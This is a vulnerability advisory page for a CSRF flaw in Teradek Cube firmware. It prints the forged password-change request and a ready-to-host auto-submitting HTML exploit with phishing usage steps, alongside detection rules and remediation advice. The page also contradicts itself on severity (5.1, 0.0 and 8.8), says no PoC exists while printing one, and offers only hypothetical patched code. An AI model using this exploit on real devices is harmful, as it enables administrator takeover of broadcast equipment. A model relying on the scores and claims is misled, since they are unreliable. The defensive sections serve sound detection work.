☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2018-25156

CVE-2018-25156 Cross-Site Request Forgery in Teradek
📅 PUBLISHED: 2025-12-24 19:27 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2018-25156 is a Cross-Site Request Forgery (CSRF) vulnerability affecting Teradek Cube firmware version 7.3.6. The vulnerability allows an attacker to craft a malicious web page that, when visited by an authenticated administrator, silently submits a password change request to the device's system configuration interface. Since the request originates from the victim's browser and includes their session cookies, the device processes the request as legitimate, enabling the attacker to change the administrative password without any user interaction beyond visiting the malicious page. This can lead to full device compromise, network pivoting, and potential disruption of video streaming services.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a hardware device (Teradek Cube) and its embedded firmware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a reasonable CVSS v3.1 score would be 8.8 (High).

  • Attack Vector (AV): Network (N) – The attacker can trigger the exploit remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) – The victim must visit the malicious page.
  • Scope (S): Unchanged (U) – The vulnerable component is the device itself.
  • Confidentiality (C): High (H) – Full device access exposes sensitive data.
  • Integrity (I): High (H) – The attacker can change passwords and configurations.
  • Availability (A): High (H) – The attacker could disrupt device operation.

Threat Level: High. The vulnerability is trivial to exploit and can lead to full device takeover.

Deep Dive & Mechanics

The Teradek Cube is a video encoder/streamer used in broadcast and production environments. The device's web interface for system configuration does not implement CSRF tokens or other anti-forgery mechanisms. The password change endpoint accepts POST requests with parameters such as new_password and confirm_password. Because the device relies solely on session cookies for authentication, any cross-origin request from a malicious page will include the victim's cookies.

Attack Flow:

  1. The attacker hosts a malicious HTML page containing a hidden form that targets the device's password change endpoint (e.g., http://<device-ip>/cgi-bin/config.cgi?action=set&key=password).
  2. The attacker lures an authenticated administrator to visit this page (e.g., via phishing email or compromised website).
  3. The victim's browser submits the form, including the session cookie.
  4. The device processes the request and changes the admin password to the attacker-specified value.
  5. The attacker can now log in with the new password and take full control of the device.

Vulnerable vs. Patched Code

Vulnerable Code (Teradek Cube 7.3.6): The web interface does not validate the origin or include a CSRF token. The password change endpoint is:

POST /cgi-bin/config.cgi?action=set&key=password HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded
Cookie: session=<valid-session>

new_password=attacker123&confirm_password=attacker123

Patched Code (Hypothetical): A patched version would include a CSRF token in the form and validate it on the server:

<form action="/cgi-bin/config.cgi?action=set&key=password" method="POST">
  <input type="hidden" name="csrf_token" value="random_token_here">
  <input type="password" name="new_password">
  <input type="password" name="confirm_password">
  <input type="submit">
</form>

Server-side validation:

if request.form['csrf_token'] != session['csrf_token']:
    abort(403)

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a Teradek Cube with firmware 7.3.6 on an isolated network.
  2. Set up a web server (e.g., Apache or Python) to host the malicious page.
  3. Ensure the attacker machine and the victim machine are on the same network as the device.

Exploit Code:

<!DOCTYPE html>
<html>
<head>
    <title>Teradek CSRF Exploit</title>
</head>
<body>
    <h1>Click to continue</h1>
    <form id="csrf_form" action="http://<device-ip>/cgi-bin/config.cgi?action=set&key=password" method="POST">
        <input type="hidden" name="new_password" value="attacker123">
        <input type="hidden" name="confirm_password" value="attacker123">
        <input type="submit" value="Submit">
    </form>
    <script>
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Replace <device-ip> with the actual IP of the Teradek Cube.

Usage:

  1. Host the above HTML on a web server accessible to the victim.
  2. Send a phishing link to the victim (an authenticated admin).
  3. Once the victim visits the page, the form auto-submits, changing the password.
  4. Log in to the device using the new password (attacker123).

Blue Team

Detection:

  • Monitor for unexpected password change requests to the device.
  • Look for HTTP Referer headers that do not match the device's domain.
  • Deploy network monitoring to detect unusual POST requests to /cgi-bin/config.cgi.

Prevention:

  • Implement CSRF tokens in all forms.
  • Validate the Origin and Referer headers.
  • Require re-authentication for sensitive actions like password changes.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /cgi-bin/config.cgi?action=set&key=password with unexpected Referer headers.
    • Multiple failed login attempts followed by a successful login from a new IP.
  • Host:
    • Unauthorized changes to the admin password.
    • New user accounts or modified configurations.
  • Logs:
    • Device logs showing password change events without prior authentication.

Detection Engineering

YARA Rule

rule Teradek_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit HTML targeting Teradek Cube"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2018-25156"
    strings:
        $csrf_form = "action=\"http://" ascii
        $password_field = "new_password" ascii
        $config_endpoint = "/cgi-bin/config.cgi" ascii
    condition:
        all of them
}

Sigma Rule

title: Teradek Cube CSRF Password Change Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CSRF attempts against Teradek Cube password change endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/config.cgi*'
        cs-uri-query|contains: 'action=set&key=password'
    condition: selection
falsepositives:
    - Legitimate admin password changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Teradek Cube CSRF Password Change Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/config.cgi";
    http_uri;
    content:"action=set&key=password";
    http_uri;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

  1. Immediate Actions:

    • Isolate Teradek Cube devices from untrusted networks.
    • Restrict administrative access to trusted IPs only.
    • Monitor logs for unauthorized password changes.
  2. Long-term Fix:

    • Apply a firmware update from Teradek if available (check vendor support).
    • Implement CSRF protection (tokens, SameSite cookies, origin validation).
    • Use a reverse proxy with CSRF filtering in front of the device.
  3. Compensating Controls:

    • Deploy Web Application Firewall (WAF) rules to block requests without proper Referer headers.
    • Enable multi-factor authentication (MFA) for admin access if supported.

Valters IT – Securing digital frontiers, one vulnerability at a time.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2018-25156/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.